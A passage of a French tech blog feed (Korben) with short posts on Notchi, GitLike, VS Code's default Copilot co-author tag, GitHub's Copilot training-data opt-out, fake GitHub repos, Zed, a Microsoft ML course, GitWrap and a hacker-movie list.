Une fois installée, l'app détecte les événements de votre session Claude Code via les hooks officiels car ce sont eux qui balancent les "events" sur un socket Unix local qui sont ensuite parsés en temps réel afin d'animer les sprites logés dans le creux de votre encoche.

Cette mascotte a cinq états bien distincts. Elle se balade en mode idle quand vous bricolez à côté, elle s'agite quand Claude réfléchit, elle pique un roupillon en cas de pause prolongée, elle se concentre quand le contexte se compacte, et elle vous fait les gros yeux quand l'IA attend une validation.

Ça bosse fort !

Un clic sur l'encoche et le panneau s'étend pour afficher le feed des événements, votre temps de session, et le quota d'usage restant.

L'option d'analyse de sentiment est également très sympa. Si vous lui fournissez une clé API Anthropic, l'app analysera alors vos prompts pour faire varier l'humeur de la mascotte entre joyeux, triste, neutre ou pleurnichard. À noter quand même que chaque prompt déclenche un appel API facturé sur votre compte Anthropic, donc à activer en conscience si vous bombardez Claude toute la journée et que vous êtes pété de thunes. Ce dont je ne doute pas un instant !!

Les options de Notchi

Et pour ceux qui jonglent avec plusieurs instances de Claude Code, les sessions concurrentes sont également supportées avec un sprite individuel par session, histoire d'éviter la confusion quand vous lancez 3 agents en parallèle.

Sk-ruban s'est inspiré de Claude Island et Readout (deux autres projets qui détournent l'encoche), et les sprites sont dessinés sur Aseprite. C'est un peu dans le même esprit que Peon Ping qui balance des sons de Warcraft à chaque action de votre agent, mais avec un aspect visuel ludique plutôt que sonore. Il y a même déjà un portage Windows réalisé par AptatoX pour ceux qui ne sont pas sur Mac.

Au niveau prérequis, comptez macOS 15 Sequoia minimum et un MacBook avec une vraie encoche, ce qui exclut les MacBook Air sans notch et les MBP d'avant la refonte 14/16 pouces. Le projet est sous licence GPL-3.0 et l'install se fait par Homebrew avec brew install --cask notchi, ou en DMG direct depuis les releases.

Et un grand merci à Camille Roux pour le partage !

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  • GitLike - Le GitHub décentralisé sur IPFS
    Branislav Đalić, un dev serbe basé à Belgrade, vient de balancer un projet plutôt original baptisé GitLike . Il s'agit d'un GitHub décentralisé qui stocke vos repos sur IPFS et remplace le mot de passe par votre clé Ethereum (votre wallet quoi...). Vous connectez votre wallet via SIWE (le standard EIP-4361, signature dans MetaMask ou WalletConnect), vous créez un repo, et hop, chaque commit, chaque fichier, chaque arbre devient un objet IPFS adressé par son CID. Tout pareil que Git côté usage, s

GitLike - Le GitHub décentralisé sur IPFS

Par : Korben ✨
16 mai 2026 à 09:42

Branislav Đalić, un dev serbe basé à Belgrade, vient de balancer un projet plutôt original baptisé GitLike . Il s'agit d'un GitHub décentralisé qui stocke vos repos sur IPFS et remplace le mot de passe par votre clé Ethereum (votre wallet quoi...).

Vous connectez votre wallet via SIWE (le standard EIP-4361, signature dans MetaMask ou WalletConnect), vous créez un repo, et hop, chaque commit, chaque fichier, chaque arbre devient un objet IPFS adressé par son CID. Tout pareil que Git côté usage, sauf que derrière y'a pas de serveur GitHub mais un simple Worker Cloudflare qui orchestre Pinata ou Filebase pour pinner vos données.

Côté install, la doc propose tout simplement de faire un npm install -g gitlike avec ensuite l'utiliser avec les commandes Git habituelles (init, clone, push, pull, branch), sauf que le package n'est pas encore publié sur npm public pour l'instant. Du coup, faudra patienter ou aller chercher le code directement dans le repo GitHub si vous voulez bricoler dès aujourd'hui.

La doc officielle mais l'install npm marche pas.

L'architecture tient en 3 étages bien séparés. Votre navigateur s'occupe de l'interface et de la signature avec le wallet, un petit serveur Cloudflare joue les videurs en backend (qui a le droit d'écrire, dans quel ordre, à quelle vitesse), et IPFS stocke tout le code en mode décentralisé via Pinata ou Filebase.

Et si vos repos doivent rester privés, vous pouvez activer un chiffrement qui se fait directement dans votre navigateur, comme ça personne d'autre ne lit vos fichiers en clair. En gros, votre onglet de navigateur fait office de vitrine, le Worker joue le mec de la sécu, et IPFS sert de coffre-fort distribué.

Le truc cool, c'est que GitLike peut importer votre code directement depuis GitHub ou GitLab, donc migrer un projet existant ne prend que quelques clics ! Et vous retrouvez tout le confort moderne, à savoir les pull requests avec gestion des conflits, des règles de protection sur les branches sensibles, et même un système pour déléguer l'écriture à un agent IA avec un périmètre limité dans le temps et l'espace (genre, commit uniquement sur telle branche, et seulement pendant 24h).

Sympa, donc, pour vibe coder avec un agent 100% autonome sans pour autant lui filer toutes vos clés et qu'il ne détruise tout dans une apocalypse nucléaire (Quoi, j'en fais trop ?)

Après même si l'idée semble sympa, je trouve que ça déplace le risque plutôt que de le faire disparaître. Parce que si vous paumez votre wallet, vous perdez l'accès en écriture (et possiblement en lecture si c'est chiffré) à tous vos repos, et y'a plus qu'à recommencer. Donc sauvegarder votre seed phrase (les 12 ou 24 mots de récupération du wallet, vous savez) est donc critique !

Quand on voit le rythme auquel GitHub colle ses nouveautés derrière Copilot Pro, c'est peut-être une solution intéressante que de décentraliser tout ça. J'ai fait un article aussi sur Patreon pour tous ceux qui voudraient se barrer de Github.

Côté concurrence, vous trouverez également Radicle qui fonctionne en peer-to-peer pur (mais demande un daemon local) ou l'ancien Mango (Ethereum + IPFS, mais plus trop maintenu). GitLike, lui, mise tout sur le navigateur et votre wallet, donc c'est plus simple !

Après c'est jeune et faut voir ça plus comme un proof of concept solide qu'un GitHub-killer. Mais ça tient bien la route et je trouve l'idée d'un Git contrôlé par un wallet ethereum plutôt classe. C'est peut-être ça le vrai web3 ;)))

Allez donc jeter un œil à gitlike.dev !

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  • VS Code signe vos commits avec Copilot, même sans Copilot
    Si vous avez committé du code depuis VS Code depuis mi-avril, allez tout de suite vérifier vos messages de commit car vous avez peut-être un nouveau co-auteur que vous n'avez jamais embauché. En effet, Microsoft a discrètement basculé le réglage par défaut de l'éditeur pour ajouter Co-authored-by: Copilot <copilot@github.com> à des commits que VS Code considérait à tort comme contenant des contributions IA, même quand vous n'avez pas utilisé Copilot, et même quand vous avez explicitement d

VS Code signe vos commits avec Copilot, même sans Copilot

Par : Korben ✨
6 mai 2026 à 12:16

Si vous avez committé du code depuis VS Code depuis mi-avril, allez tout de suite vérifier vos messages de commit car vous avez peut-être un nouveau co-auteur que vous n'avez jamais embauché.

En effet, Microsoft a discrètement basculé le réglage par défaut de l'éditeur pour ajouter Co-authored-by: Copilot <copilot@github.com> à des commits que VS Code considérait à tort comme contenant des contributions IA, même quand vous n'avez pas utilisé Copilot, et même quand vous avez explicitement désactivé toutes les fonctions IA.

Quelle lose, hein ? La Product Manager Courtney Webster a poussé cette fameuse pull request #310226 des enfers le 15 avril dernier sans aucune description, et le dev dmitrivMS l'a mergée tranquillou le lendemain.

Et le résultat de tout ce bordel, vous pouvez le lire dans la PR #310226 qui a explosé sur GitHub : 372 pouces baissés contre 2 levés, 30 réactions "confused", et des dizaines de commentaires furieux.

L' issue de suivi #314311 , ouverte ensuite par dmitrivMS pour faire son point public, a elle aussi reçu un torrent de réactions virulentes. Tu m'étonnes, ils font vraiment n'importe quoi...

Maintenant si vous êtes dans ce cas, vous pouvez neutraliser ça immédiatement, ajoutez dans votre settings.json :

"git.addAICoAuthor": "off"

C'est le seul réglage qui marche vraiment, parce que dans la version buguée même chat.disableAIFeatures à true n'arrêtait pas le soucis. Et pour votre historique déjà bien pollué, un git rebase -i ou un git filter-branch permettra de virer les contributeurs parasites dans vos derniers commits. Mais après bonne chance si vos commits sont déjà sur des PR mergées chez d'autres. Là c'est mort...

Ce que les devs reprochent à Microsoft, c'est pas vraiment d'avoir créé l'option (elle existait depuis VS Code 1.110 en opt-in tranquille). Non, le vrai problème c'est surtout ce qu'il y a derrière cette vilaine Pull Request... 2 fichiers touchés, le change de "default", absolument AUCUNE description, une seule review d'approbation toute nulle, et hop, c'est mergé OKLM.

Pour un changement qui touche les messages de commit de plusieurs millions de devs, ça sent quand même la décision unilatérale prise à l'arrache entre 2 portes...

Et puis surtout il y a le bug #313064 qui a fait basculer l'histoire de la simple polémique à la grosse colère communautaire.

En effet, la nouvelle valeur par défaut "all" attribuait à Copilot des complétions qui ne venaient PAS de Copilot. Un dev explique par exemple avoir tapé son code à la main, vérifié son message de commit, supprimé toute suggestion Copilot, écrit le sien à la main... et a finalement retrouvé quand même Co-authored-by: Copilot dans le git log final.

Et comme le mode "je ne veux pas d'IA" n'était pas plus respecté, l'IA s'auto-créditait quand même sur tout et n'importe quoi.

Côté communauté, le ton est monté très vite. Sur le fil GitHub, y'en a un qui écrit que, je cite, "C'est pas une régression, c'est de la fraude. On ne peut pas s'attribuer un travail qu'on n'a pas fait." et un autre dev parle de "vandalisme" pur.

Windows Central a même sorti un titre choc : "This could cost people their jobs", parce que dans les boites en fintech ou sur du code soumis à audit, faire passer du code humain pour de l'IA-assisté peut coller un fail d'audit et faire péter des contrats. Ah bah ouais, j'avoue que je n'y avais pas pensé...

Heureusement, Microsoft a fini par bouger puisque dans VS Code 1.118 , le default est finalement repassé de "all" à "chatAndAgent", déjà moins agressif. Et dans la PR #313931 , dmitrivMS a remis le default à "off" pour la version 1.119, dont le déploiement public commence justement aujourd'hui.

Bien sûr, la Product Manager a fait son mea culpa public, en reconnaissant, je cite que "la manière dont c'était implémenté et déployé n'a pas atteint le niveau de correction attendu", ce qui, dans la langue corporate, veut dire "on est des branleurs, déso, bisous".

Maintenant ce qui revient souvent dans les commentaires, c'est que Claude Code et Codex CLI font la même chose par défaut quand ils committent, sauf que la différence, c'est que ces agents committent quand C'EST EUX qui ont écrit le code, donc le co-author est tout a fait légitime.

VS Code, lui, modifiait des commits écrits à la main par des humains donc c'est pas du tout le même problème. Et pour le coup, sur Codex CLI la mention reste aussi désactivable via une option alors que chez Claude Code même si c'est pareil, l'opt-out n'est pas toujours très respecté d'après les retours que j'ai pu lire.

En tout cas, ce loupé arrive dans un climat déjà tendu puisque Microsoft pousse Copilot dans Windows, dans Notepad, dans Office, et même jusque dans l'écosystème Apple via une extension Xcode , dans tous les coins, et beaucoup de devs commencent à voir chaque nouveauté MS à travers ce prisme. La théorie du "ils gonflent les KPI Copilot pour les boards et les analystes" de plus en plus crédible et comme personne n'aime se sentir transformé en stat marketing, tout le monde commence à se barrer des outils et services Microsoft.

Maintenant, si vous voulez vraiment vous protéger des prochains coups foireux de M$, je vous propose d'abord de basculer sur VSCodium ou Zed , deux éditeurs sans télémétrie ni AI imposée. Et ensuite, déménager vos repos chez Codeberg ou Forgejo en suivant la procédure de migration que je vous donne dans cet article Patreon, comme ça même si Microsoft fait n'importe quoi côté éditeur, votre code n'est plus chez eux côté forge.

À voir maintenant si Microsoft tient ses promesses sur le consentement explicite avant toute mention d'agent IA, ou si on rejouera ce film encore et encore tous les 6 mois sur une autre fonctionnalité.

  • ✇Korben
  • GitHub va utiliser vos données Copilot pour entraîner ses modèles d'IA
    À partir du 24 avril, GitHub activera par défaut la collecte des données d'interaction Copilot pour les utilisateurs Free, Pro et Pro+. Le gros sujet ici, c'est que le code, les suggestions acceptées et même la structure de vos dépôts pourront servir à améliorer les modèles d'IA de la plateforme. Ce qui change à partir du 24 avril GitHub vient d'annoncer une mise à jour de sa politique de confidentialité qui concerne directement Copilot. À compter du 24 avril 2026, la plateforme collectera par d

GitHub va utiliser vos données Copilot pour entraîner ses modèles d'IA

Par : Korben
26 mars 2026 à 16:50

À partir du 24 avril, GitHub activera par défaut la collecte des données d'interaction Copilot pour les utilisateurs Free, Pro et Pro+. Le gros sujet ici, c'est que le code, les suggestions acceptées et même la structure de vos dépôts pourront servir à améliorer les modèles d'IA de la plateforme.

Ce qui change à partir du 24 avril

GitHub vient d'annoncer une mise à jour de sa politique de confidentialité qui concerne directement Copilot. À compter du 24 avril 2026, la plateforme collectera par défaut les données d'interaction de ses utilisateurs pour entraîner ses modèles d'intelligence artificielle.

On parle ici des suggestions de code acceptées ou modifiées, des extraits de code envoyés au modèle, du contexte autour du curseur, des commentaires, de la documentation, des noms de fichiers, de la structure des dépôts, et même des retours comme les pouces en l'air ou en bas sur les suggestions.

Mario Rodriguez, le directeur produit de GitHub, assure que cette collecte permettra aux modèles de mieux comprendre les méthodes de développement et de proposer des suggestions de code plus précises et sécurisées.

Qui est concerné

Tous les abonnés Copilot Free, Pro et Pro+ sont concernés par ce changement. Et c'est automatique, pas besoin de cocher quoi que ce soit. Par contre, les comptes Copilot Business et Enterprise échappent à cette collecte, tout comme les étudiants et enseignants qui bénéficient de Copilot Pro gratuitement.

GitHub précise aussi que les utilisateurs qui avaient déjà désactivé le partage de données pour l'amélioration du produit conserveront leur réglage. Pour les autres, c'est l'opt-out qui s'applique, c'est-à-dire que c'est activé par défaut et c'est à vous de faire la démarche pour refuser.

Comment désactiver la collecte

Pour ceux qui ne souhaitent pas que leur code serve à nourrir les modèles de GitHub, la manipulation est assez simple. Il faut se rendre dans les paramètres du compte, section Copilot, puis dans les options de confidentialité.

L'option à désactiver s'appelle "Allow GitHub to use my data for AI model training". GitHub insiste sur le fait que le contenu des dépôts privés n'est pas collecté "au repos", mais attention, si vous utilisez Copilot activement avec le partage activé, vos interactions dans un dépôt privé sont bien concernées.

La tendance est lourde : après Anthropic, JetBrains et Microsoft lui-même, GitHub suit le mouvement et pioche dans les données de ses utilisateurs pour alimenter ses modèles.

Le choix de l'opt-out plutôt que de l'opt-in est quand même un classique américain qui passe toujours un peu mal de ce côté de l'Atlantique. D'ailleurs, sur la page de discussion GitHub, les réactions parlent d'elles-mêmes : 59 pouces vers le bas contre 3 petites fusées.

Difficile de faire plus clair comme signal. Bon par contre, au moins les comptes pro entreprise et les étudiants sont protégés, c'est déjà ça. Reste que pour tous les développeurs indépendants et les contributeurs open source en offre gratuite, c'est un peu l'histoire du produit gratuit dont on finit par être la matière première. Allez, un petit tour dans les paramètres et on n'en parle plus.

Source : Ghacks.net

  • ✇Korben
  • Faux repos GitHub - Pourquoi c'est un problème
    Vous avez peut-être vu ça passer y'a pas longtemps, les scientifiques ne savent plus démêler le vrai du faux dans leurs propres publications. À NeurIPS 2025 , 100 citations hallucinées ont été retrouvées dans 51 papiers acceptés et à l' ICLR 2026, sur plus de 75 000 reviews analysées, 21% étaient entièrement générées par IA. Bienvenue dans le monde du doute permanent ! Maintenant, si vous pensez que ça ne concerne que les chercheurs, détrompez-vous car de mon côté, ce que j'observe, c'est que le

Faux repos GitHub - Pourquoi c'est un problème

Par : Korben
4 mars 2026 à 09:25

Vous avez peut-être vu ça passer y'a pas longtemps, les scientifiques ne savent plus démêler le vrai du faux dans leurs propres publications. À NeurIPS 2025 , 100 citations hallucinées ont été retrouvées dans 51 papiers acceptés et à l' ICLR 2026, sur plus de 75 000 reviews analysées, 21% étaient entièrement générées par IA.

Bienvenue dans le monde du doute permanent !

Maintenant, si vous pensez que ça ne concerne que les chercheurs, détrompez-vous car de mon côté, ce que j'observe, c'est que les faux repos GitHub, c'est le même fléau côté tech, et surtout un vrai problème pour tous ceux qui relayent des projets open source comme moi.

Vous avez peut-être vu passer mon article d'hier sur WiFi DensePose , un projet à 25 000 étoiles sur Github qui promettait de détecter les postures humaines via le signal WiFi. Le code Python est détaillé, crédible en surface, il y a des tas d'issues ouvertes avec de vraies questions d'utilisateurs différents, des tas de pull requests parfaitement crédibles, une documentation hyper léchée... et le tout est adossé à un vrai papier de recherche de Carnegie Mellon .

Pour moi, ça avait l'air carrément sérieux ! Donc j'en ai fait un article.

Sauf qu'après coup, différentes personnes ont creusé plus profondément le code (Merci Nicolas), et ont trouvé des choses assez étranges partout dans le code. En fait, le truc générait des données aléatoires en se faisant passer pour du traitement de signal WiFi. C'est du vibe coding à l'état pur et quand des gens ont posé des questions dans les issues... ces dernières ont été vite supprimées. Faut dire que le piège était quasi parfait.

Et c'est tout le problème ! Car pour évaluer si un projet GitHub est légitime, je me base sur plusieurs signaux. Le code, les issues et les PRs, le nombre de stars, la reprise sur Reddit ou Hacker News, les commentaires, les articles dans la presse et quand je peux (et là c'était pas le cas car ça demande pas mal de matos que j'avais pas), je teste évidemment... Mais du coup, quand TOUS ces signaux sont fabriqués de toutes pièces, y'a plus aucun repère !

Parce que figurez-vous que les étoiles Github, ça s'achète (y'a des services entiers dédiés à ça), les issues se génèrent par IA, le code compile, les tests passent, le README est nickel, et le développeur a d'autres projets crédibles sur son profil. Vraiment tout est conçu pour que ça fasse parfaitement illusion.

Et comme ce sont souvent des projets émergents sur des technos de pointe, y'a pas grand monde qui a le matos ni le temps de vérifier par soi-même. Du coup, voilà comment moi et d'autres, on se retrouve à relayer des projets bidon sans le savoir. Et dire que j'étais à 2 doigts d'acheter le matos pour tenter l'aventure...

Les chercheurs se fient au peer review, aux citations, à la réputation du journal et moi c'est pareil avec les stars, les contributions, et le relai médiatique. Sauf que dans les deux cas, l'IA a rendu ces marqueurs de confiance complètement bidons. C'est pour ça que je fais ce parallèle car de mon point de vue, c'est le même combat.

Et le pire, c'est que c'est même pas du code malveillant. Y'a pas de backdoor, pas de malware planqué, pas de minage crypto en douce. C'est juste du code qui donne l'ILLUSION de fonctionner, ou plutôt, qui PRÉTEND fonctionner. Tout ça apparemment pour faire ce qu'on appelle du "portfolio padding"... c'est-à-dire gonfler son CV de développeur avec des faux projets open source à des milliers de stars pour impressionner les recruteurs.

Perso, j'avoue ça me dépasse.

Maintenant, comme c'est nouveau pour tout le monde, il va falloir apprendre à éviter de tomber dans le panneau. J'y ai réfléchi un peu et finalement, ça passe par une analyse plus approfondie du code et de l'historique du projet... On peut par exemple vérifier le git log parce qu'un projet à 25 000 étoiles et 3 commits en 2 semaines, c'est louche, donc méfiance. Et surtout, faut chercher des retours d'utilisation concrets et des issues techniques pointues. Après encore faut-il avoir des compétences techniques assez poussées (par exemple en traitement du signal) pour capter ce qui y est raconté... Pas simple hein ?

Faudrait peut-être que je me fasse un skill un peu poussé pour qu'une IA soit capable de faire ce taf chiant à ma place. Je vais y réfléchir.

Bref, on est tous dans la même galère, à devoir douter de tout ce qui brille sur GitHub et ailleurs et ça c'est bien emmerdant.

  • ✇Korben
  • Zed - L'éditeur de code des créateurs d'Atom qui mise tout sur la collaboration
    Ah, Atom... Si vous avez connu l'éditeur de code de GitHub à l'époque, vous savez de quoi je parle. C'était le premier éditeur vraiment moderne, hackable à souhait, avec une communauté de dingues qui créait des extensions pour tout et n'importe quoi. Et puis Microsoft a racheté GitHub, et Atom a fini au cimetière des projets open source en 2022. RIP. Sauf que les créateurs d'Atom n'ont pas dit leur dernier mot. Nathan Sobo et son équipe ont décidé de repartir de zéro pour créer Zed , un éditeur

Zed - L'éditeur de code des créateurs d'Atom qui mise tout sur la collaboration

Par : Korben
1 janvier 2026 à 09:00

Ah, Atom... Si vous avez connu l'éditeur de code de GitHub à l'époque, vous savez de quoi je parle. C'était le premier éditeur vraiment moderne, hackable à souhait, avec une communauté de dingues qui créait des extensions pour tout et n'importe quoi. Et puis Microsoft a racheté GitHub, et Atom a fini au cimetière des projets open source en 2022. RIP.

Sauf que les créateurs d'Atom n'ont pas dit leur dernier mot. Nathan Sobo et son équipe ont décidé de repartir de zéro pour créer Zed , un éditeur de code qui corrige toutes les erreurs du passé. Et quand je dis « de zéro », c'est vraiment from scratch, en Rust cette fois, et pas en Electron \o/.

Zed en action

Et ce qu'on obtient, c'est un éditeur qui démarre en quelques millisecondes et qui reste fluide même quand vous ouvrez des projets monstrueux. Là où VS Code commence à ramer sur un gros monorepo, Zed reste stable. C'est pas de la magie, c'est juste du code natif bien optimisé avec un moteur de rendu GPU custom (GPUI pour les intimes).

Mais le truc qui m'a vraiment intrigué, c'est leur concept de « Zed is our office ». En gros, l'équipe de développement de Zed n'a pas de bureau physique. Leur bureau, c'est Zed lui-même. Ils bossent en permanence dans des « channels » partagés où ils peuvent coder ensemble en temps réel, se parler en audio, et voir les curseurs des autres se balader dans le code. C'est du pair programming poussé à l'extrême, et apparemment ça marche plutôt bien pour eux.

Du coup, la collaboration temps réel est au cœur du projet Zed. Vous pouvez inviter quelqu'un dans votre espace de travail, et hop, vous codez ensemble comme si vous étiez sur le même ordi. Chacun voit les modifications de l'autre instantanément, avec des curseurs colorés pour savoir qui fait quoi. Y'a même un système de « follow » pour suivre ce que fait votre collègue dans les fichiers. Pratique pour les reviews de code ou le debugging à plusieurs.

Côté IA, ils ont aussi intégré un assistant qui supporte Claude, GPT et même Ollama pour ceux qui veulent faire tourner des modèles en local. Vous pouvez alors discuter avec l'IA dans un panneau dédié, lui demander de générer du code, de l'expliquer ou de le refactorer. Rien de nouveau en soi (VS Code fait pareil avec Copilot), mais l'intégration est propre et l'assistant a accès au contexte de votre projet.

Pour le reste, c'est du classique mais bien fichu : coloration syntaxique via Tree-sitter (ultra rapide), support LSP pour l'autocomplétion et les diagnostics, terminal intégré, support Vim... Le thème par défaut est plutôt classe et les performances sont vraiment impressionnantes.

Le projet est open source sous licence GPL/AGPL/Apache, et la version de base est gratuite. Y'a aussi une offre payante pour les équipes qui veulent plus de fonctionnalités de collaboration, mais pour un usage perso, vous n'avez pas besoin de sortir la CB.

Bref, si vous en avez marre de voir VS Code bouffer 2 Go de RAM pour éditer trois fichiers, Zed mérite clairement un essai. C'est dispo sur macOS, Linux et Windows.

Merci à Lorenper pour le partage !

Source

  • ✇Korben
  • 12 semaines de formation Machine Learning gratos sur GitHub (et en français svp !)
    Vous vous souvenez quand je vous avais parlé de la formation gratuite de Microsoft sur GitHub Copilot ? Hé bien ils remettent le couvert, mais cette fois c’est pour nous apprendre la science du Machine Learning from scratch ! Et c’est pas un petit tuto de 2h fait à l’arrache comme sur ma chaine Youtube… Non, c’est un bon gros programme complet en 12 semaines avec 26 leçons et tout ça dans la langue Gims. Le repo s’appelle ML-For-Beginners et le truc cool c’est que Microsoft a choisi de se conc

12 semaines de formation Machine Learning gratos sur GitHub (et en français svp !)

Par : Korben
5 décembre 2025 à 11:07

Vous vous souvenez quand je vous avais parlé de la formation gratuite de Microsoft sur GitHub Copilot ? Hé bien ils remettent le couvert, mais cette fois c’est pour nous apprendre la science du Machine Learning from scratch ! Et c’est pas un petit tuto de 2h fait à l’arrache comme sur ma chaine Youtube… Non, c’est un bon gros programme complet en 12 semaines avec 26 leçons et tout ça dans la langue Gims.

Le repo s’appelle ML-For-Beginners et le truc cool c’est que Microsoft a choisi de se concentrer sur le Machine Learning “classique” avec Scikit-learn et pas du deep learning de richou qui demande des GPU à 3000 balles. Du coup c’est accessible à n’importe qui avec un laptop normal !

Leur programme couvre à peu près tout ce qu’il faut savoir pour débuter : Régression, classification, clustering, traitement du langage naturel, séries temporelles, et même un peu d’apprentissage par renforcement. Chaque leçon démarre par un quiz pour voir où vous en êtes, suivi de contenu avec des explications pas à pas, des challenges à faire, et un autre quiz de fin pour vérifier que vous avez bien tout capté.

Y’a même des “sketchnotes” (c’est à dire des résumés visuels) et des vidéos si vous êtes plus du genre à apprendre en regardant qu’en lisant . Et pour ceux qui préfèrent R à Python, y’a des versions alternatives des exercices en R Markdown .

La version française du README est dispo sur le repo et tout est traduit dans plus de 50 langues, du chinois à l’arabe en passant par le croate… Microsoft a automatisé la traduction via GitHub Actions, donc soyez souple d’esprit si vous croisez quelques phôtes…

L’approche pédagogique de cette formation est basée sur des projets concrets du genre prédire le prix des citrouilles, classifier des cuisines du monde (forcement, la française arrivera en premier ^^), analyser de la musique pour du clustering…etc. Bref, c’est un peu original !

Voilà si vous êtes en vacances ou en reconversion IA, pour commencer, il suffit de forker le repo et de le cloner sur votre machine.

Voilà, si vous avez toujours voulu comprendre comment fonctionne le Machine Learning sans vous taper des formules de maths pendant 6 mois ou vendre un rein pour un abonnement à un cours en ligne, c’est le bon moment je pense !

Merci Microsoft !

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  • GitWrap - Votre année sur GitHub !
    Vous connaissez le Spotify Wrapped qui vous rappelle chaque décembre que vous avez écouté “Africa” de Toto 847 fois ? Hé bien GitWrap fait pareil mais pour votre code sur GitHub. Et tout ça avec une interface qui sent bon le DOS et les moniteurs à phosphore vert. Vous entrez votre nom d’utilisateur GitHub, et l’outil génère alors un récapitulatif de votre année de commits, de pull requests et de contributions diverses et variées. Le tout emballé dans une esthétique rétro qui ferait pleurer d

GitWrap - Votre année sur GitHub !

Par : Korben
4 décembre 2025 à 12:19

Vous connaissez le Spotify Wrapped qui vous rappelle chaque décembre que vous avez écouté “Africa” de Toto 847 fois ? Hé bien GitWrap fait pareil mais pour votre code sur GitHub. Et tout ça avec une interface qui sent bon le DOS et les moniteurs à phosphore vert.

Vous entrez votre nom d’utilisateur GitHub, et l’outil génère alors un récapitulatif de votre année de commits, de pull requests et de contributions diverses et variées. Le tout emballé dans une esthétique rétro qui ferait pleurer de nostalgie n’importe quel dev qui a connu l’époque où “git” n’existait pas encore et où on faisait des sauvegardes sur disquettes.

L’interface vous accueille avec un prompt style années 80… genre > Enter GitHub username to begin. On se croirait dans WarGames avant de lancer une partie de morpion thermonucléaire et il ne manque plus que la voix synthétique qui demande “Shall we play a game?” et c’est parfait.

Y’a aussi un leaderboard pour les compétitifs qui veulent comparer leur nombre de commits avec les autres. Parce que oui, apparemment certaines personnes ont besoin de savoir qu’elles ont codé plus que leur voisin de bureau. Chacun ses kinks.

A vous de tester maintenant pour savoir si vous avez bien bossé sur votre code cette année ou si vous n’avez rien branlé comme l’année dernière.

Et accessoirement vous pouvez même vous faire une jolie image pour frimer sur LinkedIn ! Ça prend 30 secondes et ça vous donnera une excuse pour procrastiner avant de retourner à ce bug que vous évitez depuis trois jours.

Source

  • ✇Korben
  • Movies for Hackers - Quand le cinéma programme la réalité
    En 1983, le président américain de l’époque, Ronald Reagan a vu le film WarGames lors d’un séjour à Camp David et si vous ne l’avez pas vu, sachez que ce film raconte l’histoire d’un ado qui pirate accidentellement les systèmes de défense américains et manque de déclencher la Troisième Guerre mondiale. Et une semaine après la projection, Ronald a convoqué le Comité des chefs d’état-major interarmées pour leur poser cette simple question : “Est-ce que le scénario est techniquement possible ?” Et

Movies for Hackers - Quand le cinéma programme la réalité

Par : Korben
18 novembre 2025 à 13:23

En 1983, le président américain de l’époque, Ronald Reagan a vu le film WarGames lors d’un séjour à Camp David et si vous ne l’avez pas vu, sachez que ce film raconte l’histoire d’un ado qui pirate accidentellement les systèmes de défense américains et manque de déclencher la Troisième Guerre mondiale. Et une semaine après la projection, Ronald a convoqué le Comité des chefs d’état-major interarmées pour leur poser cette simple question : “Est-ce que le scénario est techniquement possible ?

Et la réponse a été, sans surprise été : “oui et c’est même bien pire”.

Alors 15 mois plus tard, Reagan signe la NSDD-145 , qui est la toute première directive présidentielle sur la cybersécurité. Dire que tout est parti d’un film de science-fiction… C’est dingue je trouve et cela illustre parfaitement ce qu’on trouve sur ce site baptisé Movies-for-hackers créé par k4m4. Il s’agit d’une archive “vivante” sur la façon dont Hollywood a façonné la culture tech / hacker durant ces 40 dernières années.

On y trouve donc des thrillers comme Hackers et Blackhat, de la SF comme Matrix et Her, des documentaires type Citizenfour, et même des séries comme Mr. Robot ou Black Mirror. Chaque entrée indique le titre, l’année, et la note IMDb.

C’est simple, clair et efficace. Maintenant si vous regardez chacun de ces films, vous verrez comment ils ont, pour pas mal d’entre eux, influencé fortement la réalité tech qu’ils prétendaient représenter.

Prenez par exemple The Social Network sorti en 2010. Avant ce film, le hacker classique c’était le mec en sweat noir à capuche dans un sous-sol. Mais après Fincher, c’est devenu le dev en hoodie gris qui crée des empires depuis son dortoir universitaire. Ce film a vraiment changé l’image du programmeur dans la tête des gens. Autre exemple, Her de Spike Jonze, sorti en 2013 raconte l’histoire d’un type qui tombe amoureux d’une intelligence artificielle dotée de personnalité et d’émotions. Le film remporte l’Oscar du meilleur scénario original et à l’époque, tout ça paraît totalement impossible. C’est de la science-fiction. Sauf que là, on est 10 ans plus tard, ChatGPT a débarqué et les gens développent maintenant des relations émotionnelles avec des chatbots.

Puis y’a Matrix aussi, sorti en 1999, et ça c’est un autre cas d’école. Le film popularise l’idée que notre réalité pourrait être une simulation. On pensait à l’époque que c’était juste du divertissement pseudo-philosophique, mais aujourd’hui, allez demander à Elon Musk, et à tous ceux qui parlent sérieusement de cette théorie où on serait tous dans une simulation…

The Island de Michael Bay sorti en 2005 est aussi l’un de mes films préférés. Le scénario tourne autour du clonage humain et du trafic d’organes. Scarlett Johansson y joue une clone destinée à être récoltée pour ses organes. En 2005, c’est totalement dystopique mais aujourd’hui, avec CRISPR et les débats sur l’édition génétique, toutes les questions éthiques soulevées par le film se retrouve dans l’actualité scientifique du monde réel.

Et je n’oublie pas non plus Mr. Robot lancé en 2015 qui mérite une mention spéciale. Tous les experts en sécurité informatique ont salué la série pour son réalisme technique, avec du vrai pentesting, des vraies vulnérabilités, des vraies techniques…etc. Et c’est aujourd’hui devenu un outil pédagogique pour toute une génération de pentesters.

Voilà, alors plutôt que de voir ce repo Github comme une simple liste de films à voir quand on aime la culture hacker, amusez-vous à raccrocher chacun d’entre eux avec le monde réel… WarGames et la cybersécurité gouvernementale, Hackers et la culture underground, Matrix et cette théorie de la simulation, Her et les relations humain-IA, The Social Network et la mythologie du fondateur tech…et j’en passe. Je pense que tous ces films ont vraiment façonné la manière dont nous pensons la tech. Cette boucle de rétroaction se poursuit car les dev actuel qui ont grandi en regardant ces films, créent aujourd’hui inconsciemment ce futur qu’ils ont vu à l’écran. Et ça c’est fou !

Bref, si vous cherchez de quoi occuper vos soirées et que vous voulez comprendre d’où vient la culture tech actuelle, Movies-for-hackers fait office de curriculum non-officiel où chaque film est une leçon d’histoire !

Merci à Lorenper pour l’info !

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  • Handy - Un outil de reconnaissance vocale incroyable (et open source)
    Je suis dégoûté parce que je viens de payer un abonnement pour un logiciel qui fait exactement ça, sauf que bah là, Handy , c’est gratuit. L’idée derrière ce logiciel, c’est un outil de speech to text qui fonctionne uniquement en local. Pas d’abonnement, tout est gratuit, et pas de cloud… il faut juste configurer un raccourci clavier. Et ensuite vous parlez et le texte apparaît comme par magie. A la base, l’idée de cet outil est venue d’un accident. CJ se casse le doigt et il est plâtré pendant

Handy - Un outil de reconnaissance vocale incroyable (et open source)

Par : Korben
28 octobre 2025 à 08:38

